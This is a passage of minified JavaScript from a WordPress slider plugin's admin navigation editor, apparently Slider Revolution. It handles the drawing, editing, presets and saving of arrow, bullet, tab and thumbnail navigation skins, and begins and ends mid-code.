c=0;c<n.length;c++)1==d?(S=n[c],d=0,l.push(S)):d++;return null==RVS.SLIDER[RVS.S.slideId].slide?"":(jQuery.each(l,function(e,t){var n,l;l=void 0!==s.placeholders[t]&&void 0!==s.placeholders[t].data?s.placeholders[t].data:"",n=t===i.attribute?i.color:!0===i.default?void 0!==s.placeholders[t]?s.placeholders[t].data:"":void 0!==r&&r[t+"-def"]?r[t]:a[t+"-def"]?a[t]:l,o=o.replace("##"+t+"##",n)}),e.css({width:"",height:""}),t.css({width:"",height:""}),"<style id='"+i.type+"_stylemanipualtion'>"+o+"</style>")}function u(e){if(void 0===RVS.SLIDER[e.id])return"";var t=RVS.SLIDER[e.id].slide.thumb.customThumbSrc;return void 0===t||t.length<3||"/"===t[t.length-1]?RVS.F.getSlideBGDrawObj({id:e.id}):{"background-size":"cover",backgroundPosition:"center center",backgroundRepeat:"no-repeat",backgroundImage:"url("+t+")"}}function R(e,t){if(void 0!==t){var i=0,a=0,r="slider"===t.align?{x:parseInt(t.offsetX,0)+("left"===t.horizontal?i:0),y:parseInt(t.offsetY,0)+("top"===t.vertical?a:0)}:{x:parseInt(t.offsetX,0)+("right"===t.horizontal?RVS.S.layer_wrap_offset.xr:RVS.S.layer_wrap_offset.x),y:parseInt(t.offsetY,0)+("top"===t.vertical?RVS.S.layer_wrap_offset.y:RVS.S.layer_wrap_offset.y-a)},s={marginLeft:"0px",x:"0%",left:r.x+"px",right:"auto",marginTop:"0px",y:"0%",top:r.y+"px",bottom:"auto"};switch(RVS.S.dim_offsets=RVS.F.sliderDimensionOffsets(),t.horizontal){case"right":s.left="auto",s.right=parseInt(r.x,0)+"px";break;case"center":s.marginLeft=i/2+parseInt(t.offsetX,0)+"px",s.x="-50%",s.left="50%"}switch(t.vertical){case"bottom":s.top="auto",s.bottom=r.y+"px";break;case"center":var o=RVS.S.dim_offsets.carouseltop/2+RVS.S.dim_offsets.navtop/2-(RVS.S.dim_offsets.carouselbottom/2+RVS.S.dim_offsets.navbottom/2);s.marginTop=a/2+(parseInt(t.offsetY,0)+parseInt(o,0))+"px",s.y="-50%",s.top="50%"}if(!0===t.spanWrapper)switch(t.direction){case"horizontal":s.marginLeft="0px",s.x="0%",s.left="0%";break;case"vertical":s.marginTop="0px",s.y="0%",s.top="0px"}tpGS.gsap.set(e,s)}}function V(){RVS.DOC.on("openNavigationEditor",RVS.F.openNavigationEditor),RVS.DOC.on("sliderNavUpdate",function(e,t){RVS.F.updateNavStyleSelection({init:!1,type:t,presetChange:!0})}),RVS.DOC.on("redrawNavigation",function(e,t){RVS.F.drawNavigation({type:t,init:!0})}),RVS.DOC.on("sliderNavPreset",function(e,t){RVS.F.setNavPresetValues({type:t})}),RVS.DOC.on("sliderNavPositionUpdate",function(e,t){RVS.F.sliderNavPositionUpdate({type:t})}),RVS.DOC.on("navinnerouter",function(e,t){!function(e){var t=RVS.SLIDER.settings.nav[e.type],i=jQuery("#sr_"+e.type+"hor"),a=jQuery("#sr_"+e.type+"ver"),r="sr_"+e.type+"direction";switch(jQuery("#sr_"+e.type+"_halignwrap").show(),jQuery("#sr_"+e.type+"_valignwrap").show(),t.innerOuter){case"inner":jQuery("#"+e.type+"pos_selector_center-center").show(),jQuery("#"+e.type+"pos_selector_left-center").show(),jQuery("#"+e.type+"pos_selector_right-center").show(),jQuery("#"+e.type+"pos_selector_center-top").show(),jQuery("#"+e.type+"pos_selector_center-bottom").show();break;case"outer-vertical":RVS.F.setS2Option({select:i,selectValue:"left"}),RVS.F.setS2Option({select:a,selectValue:"center"}),RVS.F.setRadio({radio:r,radioValue:"vertical",change:!0}),jQuery("#"+e.type+"pos_selector_center-top").hide(),jQuery("#"+e.type+"pos_selector_center-center").hide(),jQuery("#"+e.type+"pos_selector_center-bottom").hide(),jQuery("#"+e.type+"pos_selector_left-center").show(),jQuery("#"+e.type+"pos_selector_right-center").show(),jQuery("#sr_"+e.type+"_halignwrap").hide();break;case"outer-horizontal":RVS.F.setS2Option({select:i,selectValue:"center"}),RVS.F.setS2Option({select:a,selectValue:"bottom"}),RVS.F.setRadio({radio:r,radioValue:"horizontal",change:!0}),jQuery("#"+e.type+"pos_selector_left-center").hide(),jQuery("#"+e.type+"pos_selector_center-center").hide(),jQuery("#"+e.type+"pos_selector_right-center").hide(),jQuery("#"+e.type+"pos_selector_center-top").show(),jQuery("#"+e.type+"pos_selector_center-bottom").show(),jQuery("#sr_"+e.type+"_valignwrap").hide()}i.trigger("change"),a.trigger("change")}({type:t})}),RVS.DOC.on("saveNavPreset",function(e,t){RVS.F.saveDeleteNavPreset({mode:"save",type:t})}),RVS.DOC.on("deleteNavPreset",function(e,t){RVS.F.saveDeleteNavPreset({mode:"delete",type:t})}),RVS.DOC.on("mouseenter","#ddTP-sr_arrows_style-results li",function(){var e=this.id.split("-result-")[1].split("-")[0],t=this.id.split(e+"-")[1];RVS.F.drawNavigation({type:"arrows",style:t,init:!1,presetChange:!0,default:!0})}),RVS.DOC.on("mouseenter","#ddTP-sr_bullets_style-results li",function(){var e=this.id.split("-result-")[1].split("-")[0],t=this.id.split(e+"-")[1];RVS.F.drawNavigation({type:"bullets",style:t,init:!1,presetChange:!0,default:!0})}),RVS.DOC.on("mouseenter","#ddTP-sr_thumbs_style-results li",function(){var e=this.id.split("-result-")[1].split("-")[0],t=this.id.split(e+"-")[1];RVS.F.drawNavigation({type:"thumbs",style:t,init:!1,presetChange:!0,default:!0})}),RVS.DOC.on("mouseenter","#ddTP-sr_tabs_style-results li",function(){var e=this.id.split("-result-")[1].split("-")[0],t=this.id.split(e+"-")[1];RVS.F.drawNavigation({type:"tabs",style:t,init:!1,presetChange:!0,default:!0})}),RVS.DOC.on("ddTP:open",".sr_nav_style_tos",function(){window.shortcachenav=jQuery.extend(!0,{},RVS.SLIDER.settings.nav[this.dataset.evtparam]),window.shortnavindex=this.selectedIndex}),RVS.DOC.on("ddTP:close",".sr_nav_style_tos",function(e){window.shortnavindex===this.selectedIndex?(RVS.SLIDER.settings.nav[this.dataset.evtparam]=jQuery.extend(!0,{},window.shortcachenav),RVS.F.drawNavigation({type:this.dataset.evtparam,init:!1})):RVS.F.drawNavigation({type:this.dataset.evtparam,init:!1})}),RVS.DOC.on("click",".nav_preseticon_pick",function(){var e=this.parentNode.parentNode;jQuery("#"+e.dataset.insertinto).val(this.dataset.content).trigger("change")})}function y(e){return"false"===e||!1===e||"off"===e||void 0===e||0===e||-1===e?e=!1:"true"!==e&&!0!==e&&"on"!==e||(e=!0),e}RVS.F.initNavigation=function(){e=jQuery("#tp-leftarrow"),t=jQuery("#tp-rightarrow"),i=jQuery("#tp-bullets"),a={tabs:{self:jQuery("#tp-tabs"),mask:jQuery("#tp-tabs-mask"),inner:jQuery("#tp-tabs-inner-wrapper"),single:"tp-tab"},thumbs:{self:jQuery("#tp-thumbs"),mask:jQuery("#tp-thumbs-mask"),inner:jQuery("#tp-thumbs-inner-wrapper"),single:"tp-thumb"}},RVS.F.buildNavigationLists(),V()},RVS.F.buildNavigationLists=function(e){for(var t in r)if(r.hasOwnProperty(t)){var i="";for(var a in RVS.nav[r[t]])RVS.nav[r[t]].hasOwnProperty(a)&&(i+='<option value="'+a+'">'+RVS.nav[r[t]][a].name+"</option>");jQuery("#sr_"+r[t]+"_style")[0].innerHTML=i,e&&jQuery("#sr_"+r[t]+"_style").ddTP({placeholder:"Enter or Select"})}e&&RVS.F.updateEasyInputs({container:jQuery("#nav_form_collector"),path:"settings."})},RVS.F.openNavigationEditor=function(){if(RVS.nav=void 0===RVS.nav?{}:RVS.nav,RVS.nav.toSave=!1,RVS.nav.toDelete=[],"FAIL"!==RVS.nav.editor)if("undefined"==typeof RevMirror||void 0===RevMirror)RVS.F.showWaitAMinute({fadeIn:500,text:RVS_LANG.loadingRevMirror}),RVS.F.loadCSS(RVS.ENV.plugin_url+"/admin/assets/css/RevMirror.css"),jQuery.getScript(RVS.ENV.plugin_url+"/admin/assets/js/plugins/RevMirror.js",function(){setTimeout(function(){RVS.F.showWaitAMinute({fadeOut:500})},100),RVS.F.openNavigationEditor()}).fail(function(e,t,i){setTimeout(function(){RVS.F.showWaitAMinute({fadeOut:500})},100),window.nav.editor="FAIL"});else{if(void 0===RVS.nav.editor){var c=jQuery("#nav_fontfamily"),p="";for(var u in RVS.LIB.FONTS)RVS.LIB.FONTS.hasOwnProperty(u)&&"Dont Show Me"!==RVS.LIB.FONTS[u].label&&(p+='<option value="'+RVS.LIB.FONTS[u].label+'">'+RVS.LIB.FONTS[u].label+"</option>");c.append(p),c.ddTP({placeholder:"Enter or Select"}),c.ddTP("change"),V(),RVS.nav.editor=RevMirror(document.getElementById("rs_nav_css_js_area"),{value:"",mode:"css",theme:"hopscotch",lineWrapping:!0,lineNumbers:!1}),RVS.DOC.on("click",".rs_ne_nav_skin",function(){S(this)}),RVS.DOC.on("click","#rbm_navigation_editor .rbm_close",function(){RVS.nav.toSave?RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"warning",title:RVS_LANG.warning,maintext:RVS_LANG.changesdone_exit,subtext:RVS_LANG.exitwihoutchangesornot,do:{icon:"exit_to_app",text:RVS_LANG.leavewithoutsave,event:"leavaeditorwithoutsave"},cancel:{icon:"cancel",text:RVS_LANG.stayineditor}}):(d(),RVS.F.RSDialog.close(),RVS.F.buildNavigationLists(!0))}),RVS.DOC.on("leavaeditorwithoutsave",function(){for(var e in r)r.hasOwnProperty(e)&&(RVS.nav[r[e]]=jQuery.extend(!0,{},RVS.nav.cache[r[e]]));RVS.nav.toDelete=[],RVS.nav.toSave=!1,jQuery("#save_naveditor").hide(),d()}),RVS.DOC.on("click","#save_naveditor",RVS.F.savechangesonnavigation),RVS.DOC.on("click",".rs_ne_selector",function(){RVS.F.pickNavType(this)}),RVS.DOC.on("click",".rs_ne_nskin_meta_config",function(){switch(jQuery("#rs_ne_cssmeta_config").show(),jQuery("#rs_ne_cssmeta_values").hide(),RVS.nav.currentPlaceholder=this.dataset.placeholder,jQuery("#rs_ne_meta_type").val(RVS.nav.currentSkin.placeholders[RVS.nav.currentPlaceholder].type).ddTP("change").change(),document.getElementById("rs_ne_def_meta_title").value=RVS.nav.currentSkin.placeholders[RVS.nav.currentPlaceholder].title,document.getElementById("rs_ne_def_meta_handle").value=RVS.nav.currentPlaceholder,RVS.nav.currentSkin.placeholders[RVS.nav.currentPlaceholder].type){case"color":jQuery("#rs_ne_def_meta_color_val").val(RVS.nav.currentSkin.placeholders[RVS.nav.currentPlaceholder].data).rsColorPicker("refresh");break;case"icon":jQuery("#rs_ne_def_meta_icon_val").val(RVS.nav.currentSkin.placeholders[RVS.nav.currentPlaceholder].data);var e=RVS.nav.currentSkin.placeholders[RVS.nav.currentPlaceholder].data;e=e.length>0?e.replace("\\",""):e,jQuery(".rs_ne_pick.selected").removeClass("selected"),jQuery(".rs_ne_icon_"+e).addClass("selected");break;case"custom":jQuery("#rs_ne_def_meta_custom_val").val(RVS.nav.currentSkin.placeholders[RVS.nav.currentPlaceholder].data);break;case"font-family":var t=jQuery("#nav_fontfamily");t.val(RVS.nav.currentSkin.placeholders[RVS.nav.currentPlaceholder].data),t.ddTP("change")}}),RVS.DOC.on("click","#add_new_placeholder",function(){jQuery("#rs_ne_cssmeta_config").show(),jQuery("#rs_ne_cssmeta_values").hide(),RVS.nav.currentPlaceholder="in_create_process",document.getElementById("rs_ne_def_meta_title").value="",document.getElementById("rs_ne_def_meta_handle").value="",jQuery("#rs_ne_def_meta_color_val").val("#ffffff"),jQuery("#rs_ne_def_meta_icon_val").val(),jQuery("#rs_ne_def_meta_custom_val").val(),jQuery("#nav_fontfamily").val("Arial"),l()}),RVS.DOC.on("change","#rs_ne_nav_classname",function(){var e=RVS.nav.currentSkin.handle,t=RVS.F.sanitize_input_lc(this.value.toLowerCase());if(this.value=t,e!==t){if(RVS.F.checkSkinHandle(this.value))jQuery("#rs_ne_nav_classname").addClass("badvalue");else{jQuery("#rs_ne_nav_classname").removeClass("badvalue"),RVS.nav.currentSkin.handle=t;var i=new RegExp("\\."+e,"g");RVS.nav.currentSkin.css=RVS.nav.currentSkin.css.replace(i,"."+t),RVS.nav.editor.setValue(RVS.nav.currentSkin[RVS.nav.currentEditorMode])}o()}}),RVS.DOC.on("setrsnavtovertical",function(){jQuery("#rs_ne_horizontaltest").removeClass("selected"),jQuery("#rs_ne_verticaltest").addClass("selected"),RVS.nav.currentAlignMode="vertical",RVS.F.drawEditorNavigation()}),RVS.DOC.on("setrsnavtohorizontal",function(){jQuery("#rs_ne_horizontaltest").addClass("selected"),jQuery("#rs_ne_verticaltest").removeClass("selected"),RVS.nav.currentAlignMode="horizontal",RVS.F.drawEditorNavigation()}),RVS.DOC.on("rsdimgapchange",function(e,t){if(void 0!==t&&void 0!==t.eventparam){switch(t.eventparam){case"width":case"height":RVS.nav.currentSkin.dim[t.eventparam]=t.val,o();break;case"space":RVS.nav.currentTestSpace=t.val}RVS.F.drawEditorNavigation()}}),RVS.DOC.on("setrsnavposition",function(){switch(jQuery("#rs_nav_test_position").val()){case"left top":RVS.nav.currentPosVer="top",RVS.nav.currentPosHor="left";break;case"center top":RVS.nav.currentPosVer="top",RVS.nav.currentPosHor="center";break;case"right top":RVS.nav.currentPosVer="top",RVS.nav.currentPosHor="right";break;case"left center":RVS.nav.currentPosVer="center",RVS.nav.currentPosHor="left";break;case"center center":RVS.nav.currentPosVer="center",RVS.nav.currentPosHor="center";break;case"right center":RVS.nav.currentPosVer="center",RVS.nav.currentPosHor="right";break;case"left bottom":RVS.nav.currentPosVer="bottom",RVS.nav.currentPosHor="left";break;case"center bottom":RVS.nav.currentPosVer="bottom",RVS.nav.currentPosHor="center";break;case"right bottom":RVS.nav.currentPosVer="bottom",RVS.nav.currentPosHor="right"}RVS.F.drawEditorNavigation()}),RVS.DOC.on("change","#rs_ne_def_meta_title",l),RVS.DOC.on("change","#rs_ne_def_meta_handle",function(){this.value=RVS.F.sanitize_input_lc(this.value),l()}),RVS.DOC.on("click",".rs_ne_pick",function(){jQuery(".rs_ne_pick.selected").removeClass("selected"),this.className+=" selected",jQuery("#rs_ne_def_meta_icon_val").val(this.dataset.content)}),RVS.DOC.on("click",".rs_ne_nskin_meta_add, .rs_ne_markup_meta_btn",function(){return RVS.nav.infactorymode||RVS.F.insertTextAtCursor(RVS.nav.editor,this.dataset.insert),!1}),RVS.DOC.on("closenavmetavalue",function(){jQuery("#rs_ne_cssmeta_config").hide(),jQuery("#rs_ne_cssmeta_values").show()}),RVS.DOC.on("updatenavmetavalue",function(){var e=document.getElementById("rs_ne_def_meta_handle").value;switch(RVS.nav.currentSkin.placeholders=""===RVS.nav.currentSkin.placeholders||void 0===RVS.nav.currentSkin.placeholders||"string"==typeof RVS.nav.currentSkin.placeholders?{}:RVS.nav.currentSkin.placeholders,RVS.nav.currentSkin.placeholders[e]=void 0===RVS.nav.currentSkin.placeholders[e]||""==RVS.nav.currentSkin.placeholders[e]?{}:RVS.nav.currentSkin.placeholders[e],RVS.nav.currentSkin.placeholders[e].type=document.getElementById("rs_ne_meta_type").value,RVS.nav.currentSkin.placeholders[e].title=document.getElementById("rs_ne_def_meta_title").value,RVS.nav.currentSkin.placeholders[e].type){case"color":RVS.nav.currentSkin.placeholders[e].data=document.getElementById("rs_ne_def_meta_color_val").value;break;case"icon":RVS.nav.currentSkin.placeholders[e].data=document.getElementById("rs_ne_def_meta_icon_val").value;break;case"custom":RVS.nav.currentSkin.placeholders[e].data=document.getElementById("rs_ne_def_meta_custom_val").value;break;case"font-family":RVS.nav.currentSkin.placeholders[e].data=document.getElementById("nav_fontfamily").value}e!==RVS.nav.currentPlaceholder&&delete RVS.nav.currentSkin.placeholders[RVS.nav.currentPlaceholder],n(),jQuery("#rs_ne_cssmeta_config").hide(),jQuery("#rs_ne_cssmeta_values").show(),RVS.F.drawEditorNavigation(),o()}),RVS.DOC.on("click",".rs_ne_nskin_edit",function(){var e=jQuery(this).closest(".rs_ne_nav_skin");return e[0].dataset.mode="rename",e.addClass("rs_changename"),e.find("input").trigger("focus").trigger("select"),RVS.S.waitOnFeedback={allowed:["rs_ne_nskin_title_input","rs_ne_nskin_yes","rs_ne_nskin_no","rbm_close"],closeEvent:"hideCustomNavNameEntering"},RVS.F.addBodyClickListener(),!1}),RVS.DOC.on("click",".rs_ne_nskin_delete",function(){var e=jQuery(this).closest(".rs_ne_listelement");return e[0].dataset.mode="delete",e.addClass("rs_showmessage"),e.find(".rs_ne_nskin_message").text(RVS_LANG.deletetemplate),RVS.S.waitOnFeedback={allowed:["rs_ne_nskin_yes","rs_ne_nskin_no","rbm_close"],closeEvent:"hideCustomNavNameEntering"},RVS.F.addBodyClickListener(),!1}),RVS.DOC.on("click",".rs_ne_nskin_copy",function(){var e=jQuery(this).closest(".rs_ne_nav_skin");RVS.nav.currentMaxid++,RVS.nav[e[0].dataset.type]["new_"+RVS.nav.currentMaxid]=jQuery.extend(!0,{},RVS.nav[e[0].dataset.type][e[0].dataset.handle]);var t=RVS.nav[e[0].dataset.type]["new_"+RVS.nav.currentMaxid].handle,i=RVS.nav[e[0].dataset.type]["new_"+RVS.nav.currentMaxid].handle+"_copy"+Math.round(100*Math.random()+10);!0===RVS.F.checkSkinHandle(i)&&(i+=Math.round(100*Math.random()+10)),!0===RVS.F.checkSkinHandle(i)&&(i+=Math.round(100*Math.random()+10)),RVS.nav[e[0].dataset.type]["new_"+RVS.nav.currentMaxid].factory=!1,RVS.nav[e[0].dataset.type]["new_"+RVS.nav.currentMaxid].name+=" Copy",RVS.nav[e[0].dataset.type]["new_"+RVS.nav.currentMaxid].handle=i,RVS.nav[e[0].dataset.type]["new_"+RVS.nav.currentMaxid].changed=!0,RVS.nav[e[0].dataset.type]["new_"+RVS.nav.currentMaxid].id="new_"+RVS.nav.currentMaxid,RVS.nav[e[0].dataset.type]["new_"+RVS.nav.currentMaxid].presets={};var a=new RegExp("\\."+t,"g");return RVS.nav[e[0].dataset.type]["new_"+RVS.nav.currentMaxid].css=RVS.nav[e[0].dataset.type]["new_"+RVS.nav.currentMaxid].css.replace(a,"."+i),RVS.S.waitOnFeedback=void 0,jQuery(document.body).off("click.revbuilderbodyclick"),s(e[0].dataset.type),o(),!1}),RVS.DOC.on("click","#rs_ne_new_custom_nav",function(){RVS.nav.currentMaxid++,RVS.nav[RVS.nav.currentSkinType]["new_"+RVS.nav.currentMaxid]=RVS.F.createNewNavigation(RVS.nav.currentSkinType),s(RVS.nav.currentSkinType),jQuery("#rs_ne_nav_skin_new_"+RVS.nav.currentMaxid).trigger("click"),jQuery("#rs_ne_nav_skin_new_"+RVS.nav.currentMaxid+" .rs_ne_nskin_edit").trigger("click"),o()}),RVS.DOC.on("hideCustomNavNameEntering",function(){jQuery(".rs_changename").removeClass("rs_changename")}),RVS.DOC.on("click",".rs_ne_nskin_yes",function(){var e=jQuery(this).closest(".rs_ne_listelement"),t=e.find("input");return"rename"===e[0].dataset.mode?(RVS.nav[e[0].dataset.type][e[0].dataset.handle].name=t.val(),RVS.S.waitOnFeedback=void 0,jQuery(document.body).off("click.revbuilderbodyclick"),s(e[0].dataset.type),o(),!1):"delete"===e[0].dataset.mode?(e.hasClass("rs_ne_meta_value_btn")?(delete RVS.nav.currentSkin.placeholders[e[0].dataset.placeholder],RVS.S.waitOnFeedback=void 0,jQuery(document.body).off("click.revbuilderbodyclick"),n(),RVS.F.drawEditorNavigation()):(void 0!==RVS.nav.cache[e[0].dataset.type][e[0].dataset.handle]&&RVS.nav.toDelete.push(e[0].dataset.handle),delete RVS.nav[e[0].dataset.type][e[0].dataset.handle],RVS.S.waitOnFeedback=void 0,jQuery(document.body).off("click.revbuilderbodyclick"),s(e[0].dataset.type)),o(),!1):void 0}),RVS.DOC.on("click",".rs_ne_nskin_no",function(){var e=jQuery(this).closest(".rs_ne_listelement");return RVS.S.waitOnFeedback=void 0,jQuery(document.body).off("click.revbuilderbodyclick"),e.hasClass("rs_ne_meta_value_btn")?n():s(e[0].dataset.type),!1}),RVS.DOC.on("click",".rs_ne_markup_css_button",function(){RVS.F.pickMarkupCssMode(this)}),RVS.nav.editor.on("change",function(){void 0!==RVS.nav.currentSkin&&void 0!==RVS.nav.currentEditorMode&&void 0!==RVS.nav.currentSkin[RVS.nav.currentEditorMode]&&RVS.nav.currentSkin[RVS.nav.currentEditorMode]!==RVS.nav.editor.getValue()&&(RVS.nav.currentSkin[RVS.nav.currentEditorMode]=RVS.nav.editor.getValue(),RVS.F.drawEditorNavigation(),o())})}for(var R in RVS.nav.cache={},r)r.hasOwnProperty(R)&&(RVS.nav.cache[r[R]]=jQuery.extend(!0,{},RVS.nav[r[R]]));RVS.nav.currentMaxid=0,s("arrows"),RVS.F.RSDialog.create({modalid:"rbm_navigation_editor",bgopacity:.5}),jQuery(".emc_toggle_inner").RSScroll({suppressScrollX:!0}),RVS.nav.editor.refresh(),e.detach(),t.detach(),i.detach(),a.tabs.self.detach(),a.thumbs.self.detach();var y="arrows";for(var R in r)if(r.hasOwnProperty(R)){var m=document.querySelector('[data-pcontainer="#nav_settings"] .selected');if(m&&m.dataset&&m.dataset.forms&&m.dataset.forms.indexOf(r[R])>=0){y=r[R];break}}var f=void 0!==RVS.SLIDER.settings.nav[y]?RVS.SLIDER.settings.nav[y].style:"1000";RVS.F.pickNavType(document.getElementById("rs_ne_selector_"+y));var g=jQuery('#rs_ne_navlist .rs_ne_nav_skin[data-handle="'+f+'"]');g.length>0&&S(g[0]),RVS.F.pickMarkupCssMode(document.getElementById("rs_ne_mcss_thecsseditor"))}},RVS.F.drawEditorNavigation=function(){void 0===RVS.nav.c&&(RVS.nav.c={arrows:jQuery("#rs_ne_arrows"),left:jQuery("#rs_ne_tp-leftarrow"),right:jQuery("#rs_ne_tp-rightarrow"),bullets:jQuery("#rs_ne_bullets"),tabs:{self:jQuery("#rs_ne_tabs"),inner:jQuery("#rs_ne_tabs-inner-wrapper"),mask:jQuery("#rs_ne_tabs-mask"),single:"tp-tab"},thumbs:{self:jQuery("#rs_ne_thumbs"),inner:jQuery("#rs_ne_thumbs-inner-wrapper"),mask:jQuery("#rs_ne_thumbs-mask"),single:"tp-thumb"}}),RVS.nav.currentTestSpace=null==RVS.nav.currentTestSpace?5:RVS.nav.currentTestSpace,RVS.nav.currentTestPadding=10,RVS.nav.currentAlignMode=null==RVS.nav.currentAlignMode?"horizontal":RVS.nav.currentAlignMode,RVS.nav.currentPosVer=null==RVS.nav.currentPosVer?"bottom":RVS.nav.currentPosVer,RVS.nav.currentPosHor=null==RVS.nav.currentPosHor?"center":RVS.nav.currentPosHor;var e=RVS.F.sanitize_input(RVS.nav.currentSkin.handle.toLowerCase())+" "+RVS.F.sanitize_input(RVS.nav.currentSkin.name.toLowerCase()),t=p({type:RVS.nav.currentSkinType,skin:RVS.nav.currentSkin,default:!0});switch(RVS.nav.currentSkinType){case"arrows":var i=RVS.nav.currentSkin.markup.replace("##title##","Title");RVS.nav.c.left[0].className="tparrows tp-leftarrow "+e,RVS.nav.c.right[0].className="tparrows tp-rightarrow "+e,RVS.nav.c.left[0].innerHTML=t+i,RVS.nav.c.right[0].innerHTML=i,RVS.nav.c.arrows.show(),RVS.nav.c.bullets.hide(),RVS.nav.c.tabs.self.hide(),RVS.nav.c.thumbs.self.hide();break;case"bullets":RVS.nav.c.arrows.hide(),RVS.nav.c.tabs.self.hide(),RVS.nav.c.thumbs.self.hide(),RVS.nav.c.bullets.show(),RVS.nav.c.bullets[0].className="tp-bullets "+e+" nav-dir-"+RVS.nav.currentAlignMode+" nav-pos-ver-"+RVS.nav.currentPosVer+" nav-pos-hor-"+RVS.nav.currentPosHor;i=RVS.nav.currentSkin.markup.replace("##title##","Slide Title");for(var a="",r=0;r<=4;r++)a+='<div class="tp-bullet '+(0==r?"selected":"")+'">'+i+"</div>";RVS.nav.c.bullets[0].innerHTML=t+a,RVS.nav.c.bullets.find(".tp-bullet").each(function(e){var t=jQuery(this),i=t.outerWidth()+parseInt(void 0===RVS.nav.currentTestSpace?0:RVS.nav.currentTestSpace,0),a=t.outerHeight()+parseInt(void 0===RVS.nav.currentTestSpace?0:RVS.nav.currentTestSpace,0);"vertical"===RVS.nav.currentAlignMode?(t.css({top:e*a+"px",left:"0px"}),tpGS.gsap.set(RVS.nav.c.bullets,{height:4*a+t.outerHeight(),width:t.outerWidth()})):(t.css({left:e*i+"px",top:"0px"}),tpGS.gsap.set(RVS.nav.c.bullets,{width:4*i+t.outerWidth(),height:t.outerHeight()}))});break;case"tabs":case"thumbs":var s=RVS.nav.currentSkinType,o=s.replace("s","");RVS.nav.c.arrows.hide(),RVS.nav.c.bullets.hide(),RVS.nav.c.tabs.self.hide(),RVS.nav.c.thumbs.self.hide(),RVS.nav.c[s].self.show(),RVS.nav.c[s].self[0].className="tp-"+s+" "+e+" nav-dir-"+RVS.nav.currentAlignMode+" nav-pos-ver-"+RVS.nav.currentPosVer+" nav-pos-hor-"+RVS.nav.currentPosHor;for(i=RVS.nav.currentSkin.markup.replace("##title##","Slide Title"),a="",r=0;r<10;r++)i=i.replace("##param"+r+"##","Parameter "+r);for(r=0;r<=2;r++)a+='<div class="'+e+" tp-"+o+" "+(0==r?"selected":"")+'">'+i+"</div>";RVS.nav.c[s].inner[0].innerHTML=t+a;var n=parseInt(RVS.nav.currentSkin.dim.width,0)+parseInt(RVS.nav.currentTestSpace,0),l=parseInt(RVS.nav.currentSkin.dim.height,0)+parseInt(RVS.nav.currentTestSpace,0);tpGS.gsap.set(RVS.nav.c[s].self,{padding:RVS.nav.currentTestPadding}),RVS.nav.currentTestPadding=parseInt(RVS.nav.currentTestPadding,0),RVS.nav.c[s].inner.find("."+RVS.nav.c[s].single).each(function(e){"vertical"===RVS.nav.currentAlignMode?tpGS.gsap.set(this,{top:e*l+"px",left:"0px",width:RVS.nav.currentSkin.dim.width+"px",height:RVS.nav.currentSkin.dim.height+"px"}):tpGS.gsap.set(this,{left:e*n+"px",top:"0px",width:RVS.nav.currentSkin.dim.width+"px",height:RVS.nav.currentSkin.dim.height+"px"})});var d="horizontal"===RVS.nav.currentAlignMode?3*RVS.nav.currentSkin.dim.width+2*RVS.nav.currentTestSpace:RVS.nav.currentSkin.dim.width,S="horizontal"===RVS.nav.currentAlignMode?RVS.nav.currentSkin.dim.height:3*RVS.nav.currentSkin.dim.height+2*RVS.nav.currentTestSpace,c={width:d+"px",height:S+"px",overwrite:"auto"},u={top:"auto",left:"auto",bottom:"auto",marginTop:"0px",marginBottom:"0px",right:"auto",y:"0%",x:"0px",width:d+"px",height:S+"px",overflow:"hidden",position:"relative",overwrite:"auto",marginLeft:"auto",marginRight:"auto"};tpGS.gsap.set(RVS.nav.c[s].self,c),tpGS.gsap.set(RVS.nav.c[s].mask,u)}},RVS.F.savechangesonnavigation=function(){for(var e in RVS.nav.changes={},RVS.nav.currentHandle=void 0!==RVS.nav.currentSkin?RVS.nav.currentSkin.handle:void 0,r)if(r.hasOwnProperty(e))for(var t in RVS.nav[r[e]])if(RVS.nav[r[e]].hasOwnProperty(t)&&RVS.nav[r[e]][t].changed){RVS.nav.changes[t]=jQuery.extend(!0,{},RVS.nav[r[e]][t]),delete RVS.nav.changes[t].changed;try{var i=RVS.SLIDER[RVS.S.slideId].slide.nav[r[e]].presets;for(var a in RVS.nav.changes[t].placeholders)RVS.nav.changes[t].placeholders.hasOwnProperty(a)&&void 0!==i[a]&&!0!==i[a+"-def"]&&(i[a]=RVS.nav.changes[t].placeholders[a].data)}catch(e){}}RVS.F.ajaxRequest("save_navigation",{navs:RVS.nav.changes,delete:RVS.nav.toDelete},function(e){for(var t in r)r.hasOwnProperty(t)&&(RVS.nav[r[t]]=jQuery.extend(!0,{},e.navs[r[t]]));if(void 0!==RVS.nav.currentHandle){var i;for(var t in s(RVS.nav.currentSkinType),RVS.nav[RVS.nav.currentSkinType])RVS.nav[RVS.nav.currentSkinType].hasOwnProperty(t)&&(i=void 0===i&&RVS.nav[RVS.nav.currentSkinType][t].handle==RVS.nav.currentHandle?t:i);void 0!==i&&jQuery("#rs_ne_nav_skin_"+i).trigger("click")}}),RVS.nav.toDelete=[],RVS.nav.toSave=!1,jQuery("#save_naveditor").hide(),RVS.F.updatePresetInputs({type:RVS.nav.currentSkinType,env:"slide"}),RVS.F.updatePresetInputs({type:RVS.nav.currentSkinType,env:"global"})},RVS.F.checkSkinHandle=function(e){var t=e.length<4||jQuery.inArray(e,["cursor","pointer","margin","padding","display","position","width","height","transition","relative","absolute","color","arrows","thumbs","arrow","thumb","tab","tabs","bullet","bullets","hover","z-index"])>=0;for(var i in RVS.nav[RVS.nav.currentSkinType])RVS.nav[RVS.nav.currentSkinType].hasOwnProperty(i)&&(t=!0===t||RVS.nav[RVS.nav.currentSkinType][i].handle===e);return t},RVS.F.bgUpdate=function(e,t){tpGS.gsap.set(a[e].self,{background:t})},RVS.F.pickMarkupCssMode=function(e){jQuery(".rs_ne_markup_css_button.selected").removeClass("selected"),jQuery(e.dataset.hide).hide(),jQuery(e.dataset.show).show(),RVS.nav.currentEditorMode=e.dataset.mode,e.className+=" selected",void 0!==RVS.nav.currentSkin&&RVS.nav.editor.setValue(RVS.nav.currentSkin[RVS.nav.currentEditorMode])},RVS.F.pickNavType=function(e){jQuery(".rs_ne_selector.selected").removeClass("selected"),e.className+=" selected",RVS.nav.currentSkinType=e.dataset.type,jQuery("#rs_ne_helper_wrap, #rs_ne_settings, 